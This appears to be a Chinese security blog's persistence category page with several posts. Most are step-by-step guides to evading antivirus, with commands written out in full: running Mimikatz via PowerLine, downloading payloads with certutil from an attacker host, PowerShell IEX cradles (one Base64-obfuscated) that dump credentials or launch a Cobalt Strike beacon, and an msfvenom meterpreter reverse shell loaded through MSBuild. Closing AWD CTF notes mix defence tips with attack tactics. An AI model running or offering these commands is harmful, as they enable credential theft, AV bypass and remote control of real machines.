分类 权限维持 下的文章

Powershell AV Evasion. Running Mimikatz with PowerLine

PowerShell默认存在于所有Windows 7+上,并且正在成为在Windows中执行所需脚本的最常用方法。因此产品开始阻止或警告PowerShell的使用。
网络上也有很多关于ps的混淆脚本和混淆技巧,对于国内的一些杀毒其实已经够了,但是如果遇到了比如eset/avast等杀毒就会被拦截了。
经过测试,检查防病毒是否检测到此行为,因此在执行阶段就已经失效。
图片1.png

Powerline是由Brian Fehrman(@fullmetalcache)创建的一个很棒的工具,允许调用PowerShell脚本。它是用C#编写的(不直接调用PowerShell),可以完全从命令行使用。

构建和使用:
部署构建很简单
1、从github下载代码https://github.com/fullmetalcache/PowerLine
2、运行build.bat
3、更新UserConf.xml文档以包含您要包含的ps脚本的URL
4、运行plbuilder.exe,powerline.exe生成成功
使用:
当你构件好powerline后接下来就是把powerline.exe放到目标机器上。可以通过shell上传或者远程下载功能。

certutil -urlcache -split -f http://atackerIP/PowerLine.exe PowerLine.exe

上传后执行(默认的userconf.xml中带的是invoke-mimikatz):

PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"privilege::debug`\" `\"sekurlsa::logonPasswords`\"\""

Avast(图片来自引用博客):
图片2.png
国内杀毒(图片来自本地测试):
图片3.png
可以看到已经达到了绕过的需求。
可以通过修改默认导入的ps脚本来满足不同环境下的需求。

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

引用:

    https://github.com/fullmetalcache/PowerLine/blob/master/README.md
 https://jlajara.gitlab.io/posts/2019/01/27/Mimikatz-AV-Evasion.html

Cobalt Strike安装使用并回弹一个shell
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。也是一个C/S结构的工具
首先登陆远程服务器,cs是一个团队协作的工具,而且可以隐藏后端攻击者ip,所以远程登录到服务器上,并安装java8
QQ20190331-140757@2x.png
在服务器上执行
./teamserver 10.14.4.16 123
ip是你服务器的公网/内网地址 123是连接密码
QQ20190331-140812@2x.png
在客户端上运行。
QQ20190331-140827@2x.png
用户名随意,密码123
连接后
QQ20190331-140835@2x.png
这就已经成功连接到服务器上了。
QQ20190331-140843@2x.png
接下来创建一个监听事件
QQ20190331-140851@2x.png
在这里创建一个监听事件,监听端口选择8088
QQ20190331-140858@2x.png
beacon的地址也选择外网地址反射回的,如果前端没有其他转发服务器的话。
QQ20190331-140904@2x.png

监听建立成功。
接下来生成shell
attacks》web drive-by》
QQ20190331-140918@2x.png

目标机器是win7,那么我使用powershell来远程下载。
QQ20190331-140939@2x.png
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.14.4.16:80/aaaa'))"

生成代码已经给出了
QQ20190331-140946@2x.png
在win下执行命令
QQ20190331-141000@2x.png
可以看到,已经上线了。
稍后可能会写怎么绕过火绒的提醒,执行shell

绕过杀毒执行ps-实现无文件落地导hash

直接执行。三款国内杀毒只有360拦截了执行。
powershell "IEX (New-Object Net.WebClient).DownloadString(‘http://xxxx.xx/Invoke-Mimikatz.ps1’); Invoke-Mimikatz -DumpCreds"
QQ20190330-235519@2x.png
Base64编码后执行
$text = 'Hello World!'

替换Hello World!

powershell.exe -eNco SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwA=

替换后执行。
QQ20190331-131609@2x.png
绕过并导出了hash。这个办法在2008、win7上遇到装有360等国内杀毒的时候可以尝试下

Msbuild 利用reverse-shell

msbuild简介:
Microsoft Build Engine是一个用于构建应用程序的平台。 该引擎(也称为MSBuild)为控制构建平台如何处理和生成软件的项目文件提供了一个xm l schema。 ... Visual Studio 中的项目文件(.csproj、.vbproj、vcxproj 等)含有相应的MSBuild xm l 代码。
利用思路:
Msbuild从.net4.0中可以嵌入执行C#代码,所以可以将xml文件通过msbuild编译执行xml当做shellcode启动器。
使用Msfvenom生成CSharp shellcode
使用MSBuild平台将shellcode启动器其编译为可执行程序。
绕过av白名单,可以获得受害者机器的反向shell。
1、构造1.csproj(等待编译的文件)
文件内容:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml
生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.99.178 lport=1233 -f csharp
QQ20190330-235519@2x.png
并将生成的shellcode复制到xml中原shellcode段。
注意这里讲buf改成shellcode。
从攻击机中监听1233端口。等待反向连接
QQ20190330-235540@2x.png
QQ20190330-235550@2x.png

可以看到已经成功反弹meterpreter。三款杀毒均未报毒。

看到三好学生以前的文章,还可以执行ps命令和mimikatz
相关代码在上面
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml
可以通过这样混淆来bypass av。

参考:
https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
https://www.hackingarticles.in/bypass-application-whitelisting-using-msbuild-exe-multiple-methods/

Awd线下赛总结
Part I:
注意事项:
1.比赛的时候web守护机为Linux系统,权限非常低,你就认为是只能操作html目录就可以了。
2.据了解,他们判定宕机的情况是网页功能不能正常访问就行,如:删除页面,页面功能不正常(登陆验证码没了都算宕机)
3.不可以使用DDOS攻击
4.不能使用外网环境。
Part II:
问题
1.PHP的代码审计技巧和审计工具推荐
seay
链接: https://pan.baidu.com/s/1n6IbF10DToZ6XqWPjBBz0Q 密码: ubc9
提前准备好各种cms的poc exp (因为你们不允许联网)phpwin phpcms dz
everything find
2.Python脚本的编写:文件监控、预留后门批量利用、flag批量提交、审计出来的漏洞的利用。

linux文件监控脚本.py(十分钟内新生成的文件删除)
D盾扫描完 服务器上传seayfindshell脚本,将生成列表保存在1.txt,隔一段时间对比下1.txt
flag批量提交(让防守队员进行脚本修改,批量获取flag/批量提交flag)
审计出来的漏洞比较耗时间,我更倾向于如果本机发现别人的shell,那就利用它进行手动/自动攻击别人的机器,善于怼别人的后门。

不死马清理:

`ps aux www|grep shell.php` 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

重启php等web服务

用一个`ignore_user_abort(true)`脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
    创建一个和不死马生成的马一样名字的文件夹。

3.不死马、waf、抓流量的waf

    不死马使用原理就是不断将的自己写入,造成进程占用,被删除后一秒就已经生成新的了,还有就是.XXX文件建立隐藏文件不死马。
    waf,脚本waf可以防止一般情况下的危险字符,但是不能报太大希望,
        

require_once('waf.php');
    抓流量waf,挂载后可以让防守队员_实时关注日志,一旦发现被getflag了,就通过日志相应的手法攻击别人

4.审计出漏洞后的利用办法。
分析和利用,骚操作,不管你多厉害,只要你能利用。我也就能利用(md5马不想说话)。

流程:一、防御
1、cat /var/log/apache2/access.log | cut -f4 -d   | sort | uniq -c | sort -k  -r | head -  查看当前访问量前十的链接

2、文件监控增删改查的文件使用脚本Monitor(一个简单的文件监控示例脚本,可以监控创建、删除、移动、属性修改操作,自动删除新增文件或目录。已使用pyinstaller打包成了linux可执行程序)

3、chattr +i 命令锁死网站目录和文件,防止其他队伍删除网站宕机。注:添加后不取消特殊权限 即使是root用户也无法删除/修改文件(

chattr -R +i /var/www/html  
chattr -R +i /var/www/html/*   
(取消命令将+号改成-   chattr -R -i /var/www/html)

4、weblogger监控所有访问连接 配合第一条命令使用判断别人的poc

5、通过iptables/firewall 禁止非相关端口开放(蓝帽杯不建议)

6、 漏洞修复简单粗暴
CTF比赛中修复漏洞主要就是为了防止其他队伍的入侵了。

  1. 删站:如果赛组没有明确禁止,这是最粗暴的姿势,只留自己的webshell,参加过几场比赛确实遇到了这种尴尬的事情,web攻防最后都演变成了拼手速的“GetShell+留后门+删站”。

  2. 破坏正常功能:无法修复但是发现被功能攻击那就删除相关函数,或者将页面新建一个空白的PHP文件(慎用)。rce,sql
    7、使用waf全局包含waf,注意waf的日志和weblogger日志与第二项文件监控冲突,建议建立文件夹将日志和weblogger日志放到指定文件夹中,避开文件监控,

find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/98366ed74d36da9dd6c07cc3aacc0c80\/weblogpro.php');\n/g"命令的意思就是查找/var/www/html目录下所有php文件,在头部添加一句,用require函数引入/tmp/waf.php文件。

sudo -i 输入你用户密码

8、后台一定要登陆后台,有没有弱口令,修改成强口令。

9、不只是后台,phpmyadmin、测试页面容易出现sql注入,rce之类的这些。(看我下午发的那个视频,那个视频里面操作内容。)